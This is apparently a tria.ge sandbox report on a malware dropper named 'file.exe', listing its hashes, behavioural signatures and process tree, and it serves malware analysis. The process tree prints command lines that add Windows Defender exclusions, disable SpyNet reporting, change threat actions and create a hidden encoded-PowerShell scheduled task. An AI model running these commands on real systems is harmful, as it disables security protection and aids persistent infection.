Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
127s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
29/10/2023, 03:21
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20231023-en
General
-
Target
file.exe
-
Size
7.1MB
-
MD5
58657ed42e997c6eee70e649fe8d9892
-
SHA1
56504557e5aa23c907990ce79c2eb1a20a0f272d
-
SHA256
652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c
-
SHA512
fa9c2a5708f18da58e9f87fa4eb612e1ed126623d701a86d1d7fba98c35488dd0f8d4c3e12a57b99104deed89b4d9958cce218de19173a3f8900de9a8c91a114
-
SSDEEP
196608:91OUgP/TcLGwBVpRKQefMiooyXDHGYdxVeHmJkZ8cr:3O3wKwBjsBojGYdcacr
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 80 1992 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation jssbbPI.exe -
Executes dropped EXE 4 IoCs
pid Process 776 Install.exe 380 Install.exe 1672 ucpslGn.exe 3020 jssbbPI.exe -
Loads dropped DLL 1 IoCs
pid Process 1992 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json jssbbPI.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json jssbbPI.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini jssbbPI.exe -
Drops file in System32 directory 29 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8C0A4A9E1CEFEB34D84E7975A8A5D28F jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8C0A4A9E1CEFEB34D84E7975A8A5D28F jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA jssbbPI.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 jssbbPI.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol jssbbPI.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini ucpslGn.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol ucpslGn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA jssbbPI.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 jssbbPI.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 jssbbPI.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi jssbbPI.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak jssbbPI.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\NYxnTmb.xml jssbbPI.exe File created C:\Program Files (x86)\cnKtfofVELLNC\wViKQyk.dll jssbbPI.exe File created C:\Program Files (x86)\xaXHhbBRU\hWejYZ.dll jssbbPI.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\LhHWbeLjbYxZS.dll jssbbPI.exe File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\jEmvvGj.dll jssbbPI.exe File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\ItoknWj.xml jssbbPI.exe File created C:\Program Files (x86)\vPdYXglKjKUn\QKMuqgq.dll jssbbPI.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak jssbbPI.exe File created C:\Program Files (x86)\xaXHhbBRU\klbEirz.xml jssbbPI.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi jssbbPI.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja jssbbPI.exe File created C:\Program Files (x86)\cnKtfofVELLNC\yxgRhap.xml jssbbPI.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\byVqvYMHXaoMZDRgRv.job schtasks.exe File created C:\Windows\Tasks\YdWhrynxKGQiTdtBc.job schtasks.exe File created C:\Windows\Tasks\NmaEDVxnjLfXRnq.job schtasks.exe File created C:\Windows\Tasks\fORmCKMRpgzCRPXvW.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4696 schtasks.exe 4928 schtasks.exe 1468 schtasks.exe 5084 schtasks.exe 4088 schtasks.exe 4436 schtasks.exe 1928 schtasks.exe 2640 schtasks.exe 4520 schtasks.exe 1316 schtasks.exe 3488 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c2d04a06-0000-0000-0000-d01200000000}\NukeOnDelete = "0" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix jssbbPI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer jssbbPI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" jssbbPI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c2d04a06-0000-0000-0000-d01200000000} jssbbPI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "1" jssbbPI.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 3496 powershell.EXE 3496 powershell.EXE 1304 powershell.exe 1304 powershell.exe 2224 powershell.exe 2224 powershell.exe 4296 powershell.EXE 4296 powershell.EXE 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe 3020 jssbbPI.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3496 powershell.EXE Token: SeDebugPrivilege 1304 powershell.exe Token: SeDebugPrivilege 2224 powershell.exe Token: SeDebugPrivilege 4296 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 228 wrote to memory of 776 228 file.exe 89 PID 228 wrote to memory of 776 228 file.exe 89 PID 228 wrote to memory of 776 228 file.exe 89 PID 776 wrote to memory of 380 776 Install.exe 92 PID 776 wrote to memory of 380 776 Install.exe 92 PID 776 wrote to memory of 380 776 Install.exe 92 PID 380 wrote to memory of 3484 380 Install.exe 95 PID 380 wrote to memory of 3484 380 Install.exe 95 PID 380 wrote to memory of 3484 380 Install.exe 95 PID 380 wrote to memory of 32 380 Install.exe 97 PID 380 wrote to memory of 32 380 Install.exe 97 PID 380 wrote to memory of 32 380 Install.exe 97 PID 32 wrote to memory of 1792 32 forfiles.exe 100 PID 32 wrote to memory of 1792 32 forfiles.exe 100 PID 32 wrote to memory of 1792 32 forfiles.exe 100 PID 3484 wrote to memory of 1468 3484 forfiles.exe 99 PID 3484 wrote to memory of 1468 3484 forfiles.exe 99 PID 3484 wrote to memory of 1468 3484 forfiles.exe 99 PID 1468 wrote to memory of 1680 1468 cmd.exe 102 PID 1468 wrote to memory of 1680 1468 cmd.exe 102 PID 1468 wrote to memory of 1680 1468 cmd.exe 102 PID 1792 wrote to memory of 4904 1792 cmd.exe 101 PID 1792 wrote to memory of 4904 1792 cmd.exe 101 PID 1792 wrote to memory of 4904 1792 cmd.exe 101 PID 1468 wrote to memory of 2736 1468 cmd.exe 103 PID 1468 wrote to memory of 2736 1468 cmd.exe 103 PID 1468 wrote to memory of 2736 1468 cmd.exe 103 PID 1792 wrote to memory of 1756 1792 cmd.exe 104 PID 1792 wrote to memory of 1756 1792 cmd.exe 104 PID 1792 wrote to memory of 1756 1792 cmd.exe 104 PID 380 wrote to memory of 4088 380 Install.exe 105 PID 380 wrote to memory of 4088 380 Install.exe 105 PID 380 wrote to memory of 4088 380 Install.exe 105 PID 380 wrote to memory of 2700 380 Install.exe 107 PID 380 wrote to memory of 2700 380 Install.exe 107 PID 380 wrote to memory of 2700 380 Install.exe 107 PID 3496 wrote to memory of 1584 3496 powershell.EXE 111 PID 3496 wrote to memory of 1584 3496 powershell.EXE 111 PID 380 wrote to memory of 2184 380 Install.exe 117 PID 380 wrote to memory of 2184 380 Install.exe 117 PID 380 wrote to memory of 2184 380 Install.exe 117 PID 380 wrote to memory of 4696 380 Install.exe 119 PID 380 wrote to memory of 4696 380 Install.exe 119 PID 380 wrote to memory of 4696 380 Install.exe 119 PID 1672 wrote to memory of 1304 1672 ucpslGn.exe 124 PID 1672 wrote to memory of 1304 1672 ucpslGn.exe 124 PID 1672 wrote to memory of 1304 1672 ucpslGn.exe 124 PID 1304 wrote to memory of 3484 1304 powershell.exe 126 PID 1304 wrote to memory of 3484 1304 powershell.exe 126 PID 1304 wrote to memory of 3484 1304 powershell.exe 126 PID 3484 wrote to memory of 4300 3484 cmd.exe 127 PID 3484 wrote to memory of 4300 3484 cmd.exe 127 PID 3484 wrote to memory of 4300 3484 cmd.exe 127 PID 1304 wrote to memory of 4380 1304 powershell.exe 128 PID 1304 wrote to memory of 4380 1304 powershell.exe 128 PID 1304 wrote to memory of 4380 1304 powershell.exe 128 PID 1304 wrote to memory of 1488 1304 powershell.exe 129 PID 1304 wrote to memory of 1488 1304 powershell.exe 129 PID 1304 wrote to memory of 1488 1304 powershell.exe 129 PID 1304 wrote to memory of 4088 1304 powershell.exe 130 PID 1304 wrote to memory of 4088 1304 powershell.exe 130 PID 1304 wrote to memory of 4088 1304 powershell.exe 130 PID 1304 wrote to memory of 3064 1304 powershell.exe 131 PID 1304 wrote to memory of 3064 1304 powershell.exe 131
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:228 -
C:\Users\Admin\AppData\Local\Temp\7zSE6F5.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:776 -
C:\Users\Admin\AppData\Local\Temp\7zSE8AA.tmp\Install.exe.\Install.exe /vNdide "525403" /S3⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:1680
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:2736
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:4904
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:1756
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gHkQdJsMa" /SC once /ST 02:33:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:4088
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gHkQdJsMa"4⤵PID:2700
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gHkQdJsMa"4⤵PID:2184
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "byVqvYMHXaoMZDRgRv" /SC once /ST 03:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe\" SL /eTsite_idMIg 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4696
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:1584
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:64
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:4620
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2696
-
C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exeC:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\ucpslGn.exe SL /eTsite_idMIg 525403 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" 